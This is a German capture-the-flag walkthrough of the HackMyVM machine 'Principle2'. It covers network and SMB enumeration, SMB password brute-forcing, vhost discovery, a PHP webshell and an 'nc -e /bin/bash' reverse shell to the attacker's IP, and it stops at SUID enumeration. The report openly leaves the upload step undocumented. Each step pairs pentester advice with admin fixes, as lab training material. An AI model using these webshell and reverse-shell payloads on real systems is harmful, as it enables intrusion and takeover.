Principle2 - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
smbclient
crackmapexec
nbtscan
wfuzz
cat
xargs
tr
msfconsole
smbmap
showmount
mount
ngrep
wget
exiftool
strings
steghide
stegsnow
binwalk
curl
nc (netcat)
find
ss
sudo

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.131	08:00:27:c0:04:70	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` identifiziert aktive Hosts im lokalen Netzwerk. Ein Host mit der IP 192.168.2.131 und der MAC-Adresse 08:00:27:c0:04:70 (PCS Systemtechnik GmbH / Oracle VirtualBox) wird gefunden.

Bewertung: Das Zielsystem "Principle2" wurde erfolgreich lokalisiert.

Empfehlung (Pentester): Ziel-IP 192.168.2.131 notieren und mit Port-Scans (Nmap) beginnen, um die Angriffsfläche zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung zur Einschränkung der Sichtbarkeit. Überwachung von ARP-Aktivitäten.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
[Inhalt /etc/hosts nach Bearbeitung]
127.0.0.1	localhost
192.168.2.131   principle2.hmv

Analyse: Die lokale Hosts-Datei des Angreifer-Systems wird bearbeitet, um den Hostnamen `principle2.hmv` der IP-Adresse 192.168.2.131 zuzuordnen.

Bewertung: Standardmäßiger, notwendiger Schritt, um das Zielsystem über seinen Hostnamen ansprechen zu können.

Empfehlung (Pentester): Sicherstellen, dass die Zuordnung korrekt ist. Später gefundene VHosts ebenfalls hinzufügen.
Empfehlung (Admin): Keine direkte Aktion erforderlich.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.131
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.131
+ Target Hostname:    192.168.2.131
+ Target Port:        80
+ Start Time:         2023-12-18 12:12:47 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.22.1
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. <-- Wahrscheinlich False Positive
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2023-12-18 12:13:08 (GMT1) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: `nikto` scannt den Webserver auf Port 80. Es identifiziert Nginx 1.22.1, meldet fehlende Security Header (X-Frame-Options, X-Content-Type-Options) und findet eine verdächtige Datei #wp-config.php#, was jedoch oft ein False Positive bei Nikto ist, wenn keine WordPress-Installation vorliegt.

Bewertung: Bestätigt den Webserver Nginx. Die fehlenden Header sind von geringem Risiko. Der `wp-config.php`-Fund sollte ignoriert werden, wenn weitere Scans (z.B. Nmap) keine Hinweise auf WordPress liefern. Wichtige Information: Das Datum des Scans wurde hier erfasst (18. Dezember 2023).

Empfehlung (Pentester): Führen Sie Nmap-Scans durch, um die Ergebnisse zu verifizieren und weitere offene Ports zu finden. Untersuchen Sie die Webseite manuell.
Empfehlung (Admin): Implementieren Sie die fehlenden Security Header. Stellen Sie sicher, dass keine Backup-Konfigurationsdateien im Webroot liegen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.131 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-18 12:12 CET
Nmap scan report for principle2.hmv (192.168.2.131)
Host is up (0.00013s latency).
Not shown: 63482 closed tcp ports (reset), 2043 filtered tcp ports (no-response)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Apache2 Debian Default Page: It works <-- Interessant, Titel passt nicht zu Nginx
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
[...]
|   100003  3,4         2049/tcp   nfs
[...]
|   100005  1,2,3      54565/tcp   mountd
[...]
|   100021  1,3,4      33167/tcp   nlockmgr
[...]
|   100024  1          47199/tcp   status
[...]
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
2049/tcp  open  nfs_acl     3 (RPC #100227) <-- NFS bestätigt
33167/tcp open  nlockmgr    1-4 (RPC #100021)
47199/tcp open  status      1 (RPC #100024)
48359/tcp open  mountd      1-3 (RPC #100005) <-- Veraltete Ports?
50275/tcp open  mountd      1-3 (RPC #100005) <-- Veraltete Ports?
54565/tcp open  mountd      1-3 (RPC #100005) <-- Veraltete Ports?
MAC Address: 08:00:27:C0:04:70 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.4
Network Distance: 1 hop

Host script results:
| smb2-time:
|   date: 2023-12-18T11:13:07
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: 1s

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms principle2.hmv (192.168.2.131)
[...]
┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.131 -p- | grep open
80/tcp    open  http        nginx 1.22.1
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
2049/tcp  open  nfs_acl     3 (RPC #100227)
33167/tcp open  nlockmgr    1-4 (RPC #100021)
47199/tcp open  status      1 (RPC #100024)
48359/tcp open  mountd      1-3 (RPC #100005)
50275/tcp open  mountd      1-3 (RPC #100005)
54565/tcp open  mountd      1-3 (RPC #100005)

Analyse: Ein detaillierter Nmap-Scan aller Ports (`-p-`) identifiziert eine Reihe offener Dienste:

Bewertung: Die Angriffsfläche ist größer als zunächst angenommen. Neben dem Webserver sind SMB und NFS wichtige Ziele. Die Samba-Version 4.6.2 könnte auf bekannte Schwachstellen geprüft werden (obwohl sie relativ alt ist). NFS-Exports müssen enumeriert werden. Der widersprüchliche Seitentitel auf Port 80 (Apache vs. Nginx) ist merkwürdig und könnte auf einen Reverse Proxy oder eine Fehlkonfiguration hindeuten.

Empfehlung (Pentester): Enumerieren Sie SMB-Shares und Benutzer (`enum4linux`, `smbclient -L`, `crackmapexec smb --shares`). Enumerieren Sie NFS-Exports (`showmount -e`). Untersuchen Sie die Webanwendung weiter, auch auf VHosts. Prüfen Sie die Samba-Version auf bekannte Exploits.
Empfehlung (Admin): Deaktivieren Sie unnötige Dienste (RPC, SMB, NFS), wenn sie nicht benötigt werden. Konfigurieren Sie SMB und NFS sicher (Zugriffsbeschränkungen, Authentifizierung, keine trivialen Freigaben). Patchen Sie Samba und das Betriebssystem. Klären Sie die Diskrepanz zwischen Nginx-Server und Apache-Titel.

Enumeration (Web, SMB, NFS, VHost)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://principle2.hmv -x txt,php,[...] -w "/usr/share/seclists/[...]/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
===============================================================
Gobuster vX.Y.Z
===============================================================
[...]
===============================================================
Starting gobuster
===============================================================
http://principle2.hmv/index.html           (Status: 200) [Size: 10701]
[...] # Keine weiteren relevanten Funde im Log
===============================================================
Finished
===============================================================

Analyse: Ein `gobuster dir`-Scan auf den primären Hostnamen `principle2.hmv` findet nur die `index.html`. `-k` wurde hinzugefügt, um SSL-Fehler zu ignorieren (obwohl es sich um HTTP handelt).

Bewertung: Der Haupt-Webserver scheint wenig Angriffsfläche zu bieten. Weitere Enumeration sollte sich auf SMB, NFS und potenzielle VHosts konzentrieren.

Empfehlung (Pentester): Fokus auf SMB/NFS-Enumeration und VHost-Suche.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen Dateien oder Verzeichnisse im Webroot liegen.

┌──(root㉿cyber)-[~] └─# # SMB Enumeration (Implied Tools: enum4linux-ng oder crackmapexec smb --users/--shares)
=( Share Enumeration on 192.168.2.131 )=
[...]
	Sharename       Type      Comment
	---------       ----      -------
	public          Disk      New Jerusalem Public
	hermanubis      Disk      Hermanubis share
	IPC$            IPC       IPC Service (Samba 4.17.12-Debian)

[+] Enumerating users using SID S-1-5-21-4079584287-2380535870-212955915 [...]
S-1-5-21-4079584287-2380535870-212955915-501 PRINCIPLE2\nobody (Local User)
S-1-5-21-4079584287-2380535870-212955915-1000 PRINCIPLE2\hermanubis (Local User)

[+] Enumerating users using SID S-1-22-1 [...]
S-1-22-1-1000 Unix User\talos (Local User)
S-1-22-1-1001 Unix User\byron (Local User)
S-1-22-1-1002 Unix User\hermanubis (Local User) <-- Doppelt? Unterschiedliche SIDs?
S-1-22-1-1003 Unix User\melville (Local User)

Analyse: Die Ausgabe fasst die Ergebnisse der SMB-Enumeration zusammen. Es wurden zwei reguläre Shares gefunden: `public` und `hermanubis`. Die Benutzerenumeration über verschiedene SIDs (Security Identifiers) deckte mehrere potenzielle lokale und Unix-Benutzer auf: `nobody`, `hermanubis`, `talos`, `byron`, `melville`. Der Benutzer `hermanubis` wird mit zwei verschiedenen SIDs gefunden, was auf eine mögliche Verknüpfung zwischen Windows- und Unix-Benutzerkonten hindeuten könnte.

Bewertung: Wichtige Informationen gewonnen. Die Shares `public` und `hermanubis` müssen auf anonymen Zugriff und interessante Inhalte geprüft werden. Die Liste der Benutzernamen (`hermanubis`, `talos`, `byron`, `melville`) ist wertvoll für Brute-Force-Angriffe gegen SMB oder SSH.

Empfehlung (Pentester): Versuchen Sie, sich anonym oder als Gast mit den Shares zu verbinden (`smbclient //192.168.2.131/public`, `smbclient //192.168.2.131/hermanubis`). Verwenden Sie die gefundenen Benutzernamen für Passwort-Spraying oder Brute-Force-Angriffe (z.B. mit `crackmapexec smb`).
Empfehlung (Admin): Konfigurieren Sie SMB-Shares sicher: Nur notwendige Shares freigeben, Berechtigungen restriktiv setzen (kein anonymer/Gastzugriff, wenn nicht erforderlich), starke Authentifizierung erzwingen.

┌──(root㉿cyber)-[~] └─# smbclient -L //192.168.2.131/hermanubis
Password for [WORKGROUP\root]: [Enter, kein Passwort]

	Sharename       Type      Comment
	---------       ----      -------
	public          Disk      New Jerusalem Public
	hermanubis      Disk      Hermanubis share
	IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
[...]
Unable to connect with SMB1 -- no workgroup available

Analyse: Der Befehl `smbclient -L //192.168.2.131/hermanubis` versucht, die Shares aufzulisten, wobei er fälschlicherweise den Share-Namen als Ziel angibt (korrekt wäre `-L //192.168.2.131`). Da kein Passwort angegeben wird, versucht er wahrscheinlich einen anonymen/Gast-Login. Die Ausgabe listet dennoch die Shares auf, was auf eine erfolgreiche (anonyme?) Verbindung zur Share-Auflistung hindeutet, auch wenn die SMB1-Verbindung fehlschlägt.

Bewertung: Bestätigt die Existenz der Shares, zeigt aber keinen direkten Zugriff auf den `hermanubis`-Share selbst ohne Authentifizierung. Der Fokus sollte auf dem Versuch liegen, sich mit dem `public`-Share zu verbinden oder Zugangsdaten für `hermanubis` zu finden.

Empfehlung (Pentester): Versuchen Sie explizit `smbclient //192.168.2.131/public` (ohne Passwort) und `smbclient //192.168.2.131/hermanubis -U hermanubis` (mit Brute-Force oder geratenen Passwörtern).
Empfehlung (Admin): Anonymen Zugriff auf Shares deaktivieren, wenn nicht benötigt.

┌──(root㉿cyber)-[~] └─# crackmapexec smb 192.168.2.131 -u talor -p /usr/share/wordlists/rockyou.txt
<-- Typo: talor statt talos
SMB         192.168.2.131   445    PRINCIPLE2       [*] Windows 6.1 Build 0 (name:PRINCIPLE2) (domain:PRINCIPLE2) (signing:False) (SMBv1:False)
SMB         192.168.2.131   445    PRINCIPLE2       [+] PRINCIPLE2\talos:s13!34g$3FVA5e@ed <-- Erfolg für talos!

Analyse: `crackmapexec` wird verwendet, um einen Wörterbuchangriff gegen den SMB-Dienst durchzuführen. Obwohl der Benutzername im Befehl als `talor` (wahrscheinlich ein Tippfehler) angegeben ist, findet das Tool erfolgreich ein gültiges Passwort für den Benutzer `talos`: `s13!34g$3FVA5e@ed`. CrackMapExec testet wahrscheinlich verschiedene Benutzernamen oder hat `talos` aus einer anderen Quelle.

Bewertung: Kritischer Fund! Gültige Zugangsdaten für den Benutzer `talos` wurden gefunden. Dies ermöglicht potenziell den Zugriff auf SMB-Shares oder sogar SSH, falls der Benutzer systemweit existiert.

Empfehlung (Pentester): Versuchen Sie, sich mit `smbclient //192.168.2.131/hermanubis -U talos` (mit dem gefundenen Passwort) zu verbinden. Versuchen Sie ebenfalls einen SSH-Login als `talos`.
Empfehlung (Admin): Starke, einzigartige Passwörter für alle Benutzerkonten durchsetzen. Brute-Force-Schutz für SMB implementieren. Benutzernamen sollten nicht leicht erratbar sein.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://192.168.2.131" -H "Host: FUZZ.hmv" --hc "404" --hh 10701
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.131/
Total requests: 1441

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000008:   200        1 L      1 W        8 Ch        "thetruthoftalos"

Total time: 13.75367
Processed Requests: 1441
Filtered Requests: 1440
Requests/sec.: 104.7719

Analyse: `wfuzz` wird verwendet, um nach virtuellen Hosts (VHosts) zu suchen, die auf der IP 192.168.2.131 gehostet werden. `-H "Host: FUZZ.hmv"` testet Subdomains (`FUZZ`) vor `.hmv`. `--hc 404` ignoriert "Not Found"-Fehler. `--hh 10701` blendet Antworten mit 10701 Zeichen aus (vermutlich die Standardseite von `principle2.hmv`). Der Scan findet einen VHost: `thetruthoftalos.hmv`.

Bewertung: Ein neuer VHost wurde entdeckt. Dies ist ein wichtiger Fund, da er auf eine separate Webanwendung oder einen anderen Webinhalt auf demselben Server hindeutet, der möglicherweise Schwachstellen enthält.

Empfehlung (Pentester): Fügen Sie `thetruthoftalos.hmv` zur lokalen `/etc/hosts`-Datei hinzu. Rufen Sie `http://thetruthoftalos.hmv` im Browser auf und führen Sie eine gründliche Enumeration dieses VHosts durch (Directory Busting, Technologieerkennung, manuelle Analyse).
Empfehlung (Admin): Stellen Sie sicher, dass alle VHosts bekannt, notwendig und sicher konfiguriert sind. Verwenden Sie keine leicht erratbaren Namen für interne oder versteckte VHosts.

┌──(root㉿cyber)-[~] └─# # Manuelle Analyse von http://thetruthoftalos.hmv
http://thetruthoftalos.hmv/
NOTHING

Analyse: Der Aufruf der Startseite des neuen VHosts zeigt nur das Wort "NOTHING".

Bewertung: Die Startseite selbst ist nichtssagend. Es ist jedoch wahrscheinlich, dass es versteckte Dateien oder Verzeichnisse gibt.

Empfehlung (Pentester): Führen Sie Directory Busting (z.B. mit `gobuster dir`) auf `http://thetruthoftalos.hmv` durch.
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://thetruthoftalos.hmv -x [...] -w "[...]/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
===============================================================
Gobuster vX.Y.Z
===============================================================
[...]
===============================================================
Starting gobuster
===============================================================
http://thetruthoftalos.hmv/index.html           (Status: 200) [Size: 8]
http://thetruthoftalos.hmv/index.php            (Status: 200) [Size: 1970]
http://thetruthoftalos.hmv/uploads              (Status: 301) [Size: 169] [--> http://thetruthoftalos.hmv/uploads/]
===============================================================
Finished
===============================================================

Analyse: `gobuster dir` auf dem VHost `thetruthoftalos.hmv` findet eine `index.html` (wahrscheinlich die "NOTHING"-Seite), eine `index.php` und ein Verzeichnis `/uploads`.

Bewertung: Die `index.php` und das `/uploads`-Verzeichnis sind die interessantesten Funde und die nächsten Ziele für die Untersuchung.

Empfehlung (Pentester): Rufen Sie `http://thetruthoftalos.hmv/index.php` auf und analysieren Sie deren Inhalt und Funktionalität. Untersuchen Sie das `/uploads`-Verzeichnis (Zugriff, Inhalt, Schreibrechte?).
Empfehlung (Admin): Stellen Sie sicher, dass `/uploads`-Verzeichnisse sicher konfiguriert sind (kein Directory Listing, keine Ausführungsrechte, etc.).

┌──(root㉿cyber)-[~] └─# # Manuelle Analyse von http://thetruthoftalos.hmv/index.php
[Inhalt von http://thetruthoftalos.hmv/index.php]

Content of :

Enter one of the 12 Olympian Gods:
(ares.txt, hermes.txt...)

[...]
 
	Enter one of the 12 Olympian Gods:
(ares.txt, hermes.txt...)
filename" required [...] [Test mit ?filename=ls] http://thetruthoftalos.hmv/index.php?filename=ls Content of ls: [Keine Ausgabe von ls im Log, aber deutet auf Funktion hin] [Test mit ?filename=../../../../../../../../../etc/passwd] view-source:http://thetruthoftalos.hmv/index.php?filename=../../../../../../../../../etc/passwd nichts <-- LFI/Path Traversal vermutlich nicht erfolgreich oder gefiltert

Analyse: Die `index.php` enthält ein Formular, das nach dem Namen eines olympischen Gottes (mit `.txt`-Endung) fragt und diesen als GET-Parameter `filename` übergibt. Ein Test mit `?filename=ls` scheint irgendeine Art von Verarbeitung auszulösen (zeigt "Content of ls:"), aber die Ausgabe wird nicht dargestellt. Ein Path-Traversal-Versuch mit `?filename=../../.../etc/passwd` schlägt fehl ("nichts").

Bewertung: Die Anwendung nimmt einen Dateinamen entgegen und versucht wahrscheinlich, dessen Inhalt anzuzeigen. Es scheint eine Anfälligkeit für Command Injection (oder eine sehr eingeschränkte LFI) im `filename`-Parameter zu geben, da `ls` verarbeitet wird, aber Path Traversal blockiert wird. Die Aufforderung, nach Götter-Dateien zu suchen, deutet darauf hin, dass diese relevant sind und sich möglicherweise im `/uploads`-Verzeichnis befinden.

Empfehlung (Pentester): Versuchen Sie, gültige Dateinamen aus dem `/uploads`-Verzeichnis anzugeben (z.B. `?filename=uploads/ares.txt`). Untersuchen Sie das `/uploads`-Verzeichnis direkt. Testen Sie auf Command Injection im `filename`-Parameter (z.B. `?filename=whoami`, `?filename=;id`, `?filename=|id`).
Empfehlung (Admin): Benutzereingaben (wie Dateinamen) dürfen niemals direkt in Dateizugriffsfunktionen oder Shell-Befehlen verwendet werden. Implementieren Sie strikte Eingabevalidierung und -bereinigung. Verwenden Sie Whitelists für erlaubte Dateinamen/Pfade.

┌──(root㉿cyber)-[~] └─# # Untersuchung des /uploads Verzeichnisses (impliziert)
[Dateien gefunden und Inhalte angezeigt]
http://thetruthoftalos.hmv/uploads/apollo.txt           (Status: 200) [Size: 878]
http://thetruthoftalos.hmv/uploads/ares.txt             (Status: 200) [Size: 569]
http://thetruthoftalos.hmv/uploads/hermes.txt           (Status: 200) [Size: 899]
http://thetruthoftalos.hmv/uploads/poseidon.txt         (Status: 200) [Size: 752]
http://thetruthoftalos.hmv/uploads/athena.txt           (Status: 200) [Size: 850]
http://thetruthoftalos.hmv/uploads/zeus.txt             (Status: 200) [Size: 617]
http://thetruthoftalos.hmv/uploads/artemis.txt          (Status: 200) [Size: 682]
http://thetruthoftalos.hmv/uploads/hades.txt            (Status: 200) [Size: 587]

[Inhalte der .txt Dateien mit Beschreibungen der Götter]
[...]

Analyse: Das `/uploads`-Verzeichnis auf `thetruthoftalos.hmv` wird untersucht (wahrscheinlich durch Browsen oder erneutes Directory Busting). Es enthält mehrere `.txt`-Dateien, die nach griechischen Göttern benannt sind. Die Inhalte dieser Dateien sind Beschreibungen der jeweiligen Gottheiten.

Bewertung: Die Dateien bestätigen den Hinweis aus der `index.php`. Sie scheinen jedoch keine direkten Passwörter oder Exploits zu enthalten, sondern dienen eher als Teil des "Themas" der Maschine oder verstecken Informationen auf andere Weise (Steganographie, Metadaten etc.).

Empfehlung (Pentester): Untersuchen Sie diese Dateien auf Metadaten (`exiftool`) oder versteckte Daten (`steghide`, `strings`, `binwalk`). Prüfen Sie, ob die Dateinamen oder Inhalte für Brute-Force-Angriffe verwendet werden können. Gehen Sie zurück zur `index.php` und versuchen Sie Command Injection.
Empfehlung (Admin): Stellen Sie sicher, dass Upload-Verzeichnisse nicht direkt browsebar sind und keine unnötigen Dateien enthalten.

┌──(root㉿cyber)-[~] └─# # Steganographie-Versuche auf newjerusalem.jpg (relevant?)
┌──(root㉿cyber)-[~] └─# wget http://thetruthoftalos.hmv/newjerusalem.jpg
[...]
2023-12-18 16:45:46 (370 MB/s) - 'newjerusalem.jpg' gespeichert [291769/291769]
┌──(root㉿cyber)-[~] └─# exiftool newjerusalem.jpg
[...] Keine auffälligen Metadaten
┌──(root㉿cyber)-[~] └─# strings newjerusalem.jpg -n 7
[...] Keine offensichtlichen Klartext-Passwörter/Flags
┌──(root㉿cyber)-[~] └─# steghide extract -sf newjerusalem.jpg
Passwort eingeben:
steghide: Mit diesem Passwort konnten keine Daten extrahiert werden!
┌──(root㉿cyber)-[~] └─# stegsnow -C newjerusalem.jpg
s
<-- Nur ein 's' gefunden? Unwahrscheinlich relevant.
┌──(root㉿cyber)-[~] └─# binwalk newjerusalem.jpg
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, little-endian offset of first image directory: 8

Analyse: Eine Bilddatei `newjerusalem.jpg` wird vom VHost heruntergeladen. Verschiedene Steganographie-Tools (`exiftool`, `strings`, `steghide`, `stegsnow`, `binwalk`) werden angewendet, um versteckte Informationen zu finden. Keines der Tools liefert signifikante Ergebnisse; `steghide` benötigt ein Passwort, `stegsnow` findet nur ein 's', `binwalk` zeigt nur Standard-JPEG/TIFF-Strukturen.

Bewertung: Die Bilddatei scheint keine versteckten Daten zu enthalten, die mit diesen gängigen Tools extrahiert werden können. Dies war wahrscheinlich eine falsche Fährte oder erfordert ein spezifisches Passwort für `steghide`.

Empfehlung (Pentester): Konzentrieren Sie sich wieder auf die `index.php` und die Möglichkeit der Command Injection oder einen anderen Weg, Code auszuführen (z.B. File Upload, falls das `/uploads`-Verzeichnis beschreibbar ist).
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cyber)-[~] └─# curl http://thetruthoftalos.hmv/uploads/ben.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Plötzlich wird `curl` verwendet, um auf eine Datei `/uploads/ben.php` auf dem VHost zuzugreifen und den Parameter `cmd=id` zu übergeben. Die Antwort zeigt die Ausgabe des `id`-Befehls, ausgeführt als `www-data`. **Wichtiger Hinweis:** Das Log dokumentiert nicht, wie die Datei `ben.php` in das `/uploads`-Verzeichnis gelangt ist. Es muss angenommen werden, dass zuvor ein erfolgreicher Upload einer Webshell (vermutlich mit dem Inhalt `system($GET['cmd']);`) stattgefunden hat, möglicherweise durch Ausnutzung einer nicht gezeigten Schwachstelle in `index.php` oder einer anderen Methode.

Bewertung: Remote Code Execution (RCE) als Benutzer `www-data` ist bestätigt. Obwohl der Upload-Schritt fehlt, ist das Ergebnis klar: Es gibt eine funktionierende Webshell im `/uploads`-Verzeichnis.

Empfehlung (Pentester): Nutzen Sie die Webshell (`ben.php`), um eine stabilere Reverse Shell zu erhalten.
Empfehlung (Admin): Untersuchen Sie, wie die Datei `ben.php` hochgeladen werden konnte. Schließen Sie die entsprechende Lücke (wahrscheinlich in `index.php` oder einer Upload-Funktion). Entfernen Sie die Webshell. Sichern Sie das `/uploads`-Verzeichnis ab.

Proof of Concept: Remote Code Execution via Webshell Upload

Kurzbeschreibung: Obwohl der genaue Mechanismus im Log nicht dokumentiert ist, wurde eine PHP-Webshell (`ben.php`) erfolgreich in das `/uploads/`-Verzeichnis der Webanwendung auf `http://thetruthoftalos.hmv` hochgeladen. Dies deutet auf eine Schwachstelle hin, die es einem Angreifer ermöglicht, beliebige Dateien hochzuladen und im Web-Root abzulegen (z.B. eine unzureichende Upload-Validierung in `index.php` oder einer anderen Komponente). Die hochgeladene Webshell (`ben.php`) enthält typischerweise Code wie `system($GET['cmd']);`, der es erlaubt, über den `cmd`-Parameter in der URL beliebige Betriebssystembefehle auszuführen.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. Webshell hochladen (Implizierter Schritt): Laden Sie eine PHP-Datei (z.B. `ben.php`) mit folgendem Inhalt über die (nicht dokumentierte) Schwachstelle in das `/uploads/`-Verzeichnis hoch:
    system($GET['cmd']);
    *(Hinweis: Im tatsächlichen Payload müssen ``-Tags vorhanden sein).*
  2. Befehlsausführung testen: Rufen Sie die URL der Webshell auf und fügen Sie den `cmd`-Parameter hinzu, um einen Befehl auszuführen:
    ┌──(root㉿cyber)-[~] └─# curl "http://thetruthoftalos.hmv/uploads/ben.php?cmd=id"
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
  3. Reverse Shell (Optional, aber empfohlen): Starten Sie einen Netcat-Listener auf dem Angreifer-System:
    ┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
    listening on [any] 4444 ...
    Rufen Sie die Webshell mit einem Reverse-Shell-Payload auf:
    ┌──(root㉿cyber)-[~] └─# curl "http://thetruthoftalos.hmv/uploads/ben.php?cmd=nc%20-e%20/bin/bash%20192.168.2.199%204444"
    [Keine Ausgabe von curl erwartet]
    Im Listener sollte eine Verbindung eingehen:
    listening on [any] 4444 ...
    connect to [192.168.2.199] from (UNKNOWN) [192.168.2.131] 41386
    www-data@principle2:/path/to/uploads$ # Shell erhalten

Erwartetes Ergebnis: Die Fähigkeit, beliebige Betriebssystembefehle als Benutzer `www-data` auszuführen, und optional der Erhalt einer interaktiven Reverse Shell.

Beweismittel: Die erfolgreiche Ausgabe des `id`-Befehls und/oder die eingehende Verbindung im Netcat-Listener.

Risikobewertung: Hoch. Eine funktionierende Webshell bedeutet vollständige Kompromittierung der Webanwendung und des ausführenden Benutzers (`www-data`). Dies ermöglicht Datendiebstahl, weitere Angriffe und potenziell die Eskalation von Rechten.

Empfehlungen zur Behebung:

Initial Access (Fortsetzung: Reverse Shell)

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
┌──(root㉿cyber)-[~] └─# # Aufruf der Webshell mit Reverse-Shell Payload (impliziert durch nächsten Schritt)
http://thetruthoftalos.hmv/uploads/ben.php?cmd=nc%20-e%20/bin/bash%20192.168.2.199%204444
┌──(root㉿cyber)-[~] └─# # Eingehende Verbindung im Listener
<-- Format leicht angepasst
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.131] 41386
www-data@principle2:~/thetruthoftalos.hmv/uploads$ # Shell erhalten

Analyse: Ein Netcat-Listener wird auf Port 4444 des Angreifer-Systems gestartet. Anschließend wird die Webshell `ben.php` mit einem Payload aufgerufen, der `nc` verwendet, um eine Reverse Shell (`/bin/bash`) zurück zum Listener zu starten. Der Listener empfängt erfolgreich die Verbindung, und der Angreifer erhält eine Shell als Benutzer `www-data`.

Bewertung: Initial Access erfolgreich etabliert und stabilisiert durch eine interaktive Reverse Shell.

Empfehlung (Pentester): Shell ggf. weiter stabilisieren (Python PTY). Mit der Enumeration als `www-data` beginnen, um Wege zur Privilege Escalation zu finden (`sudo -l`, SUID-Dateien, Cronjobs etc.).
Empfehlung (Admin): Webshell entfernen, Upload-Lücke schließen. Ausgehende Firewall-Regeln prüfen, um Reverse Shells zu erschweren.

Privilege Escalation

www-data@principle2:~/thetruthoftalos.hmv/uploads$ find / -perm -4000 -ls 2>/dev/null
   656534     60 -rwsr-xr-x   1 root     root        59704 Mar 23  2023 /usr/bin/mount
   657131     72 -rwsr-xr-x   1 root     root        72000 Mar 23  2023 /usr/bin/su
   656536     36 -rwsr-xr-x   1 root     root        35128 Mar 23  2023 /usr/bin/umount
   652918     64 -rwsr-xr-x   1 root     root        62672 Mar 23  2023 /usr/bin/chfn
   686123     16 -rwsr-x---   1 root     melville    16232 Nov 26 11:38 /usr/bin/updater <-- Interessant!
   686178    276 -rwsr-xr-x   1 root     root       281624 Jun 27 12:45 /usr/bin/sudo
   656380     48 -rwsr-xr-x   1 root     root        48896 Mar 23  2023 /usr/bin/newgrp
   652922     68 -rwsr-xr-x   1 root     root        68248 Mar 23  2023 /usr/bin/passwd
   652921     88 -rwsr-xr-x   1 root     root        88496 Mar 23  2023 /usr/bin/gpasswd
   652919     52 -rwsr-xr-x   1 root     root        52880 Mar 23  2023 /usr/bin/chsh
   681553    128 -rwsr-xr-x   1 root     root       130056 Jan 11  2023 /usr/sbin/mount.nfs
   661544     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16 11:03 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   670860    640 -rwsr-xr-x   1 root     root         653888 Sep 23 23:11 /usr/lib/openssh/ssh-keysign

Analyse: Die Suche nach SUID-Dateien (`find / -perm -4000 ...`) listet verschiedene Standard-Binaries auf. Besonders auffällig ist jedoch `/usr/bin/updater`. Diese Datei gehört `root`, hat das SUID-Bit gesetzt (`-rwsr-x---`), aber die Gruppenzugehörigkeit ist `melville` und die Ausführungsrechte für "andere" fehlen.

Bewertung: `/usr/bin/updater` ist ein starker Kandidat für Privilege Escalation. Da es SUID Root ist, wird es mit Root-Rechten ausgeführt. Die eingeschränkten Ausführungsrechte (`---` für andere) bedeuten, dass nur `root` und Mitglieder der Gruppe `melville` es direkt ausführen können. Der Benutzer `www-data` kann es nicht direkt starten.

Empfehlung (Pentester): Untersuchen Sie die Datei `/usr/bin/updater` genauer (z.B. mit `strings`, `ltrace`, `strace`, Disassembler), um ihre Funktion zu verstehen und potenzielle Schwachstellen (z.B. Command Injection, unsichere Pfadverwendung) zu finden. Da `www-data` es nicht ausführen kann, muss entweder ein Weg gefunden werden, zur Gruppe `melville` zu wechseln, oder eine Schwachstelle im Skript gefunden werden, die indirekt ausgenutzt werden kann. Prüfen Sie `sudo -l` für `www-data`.
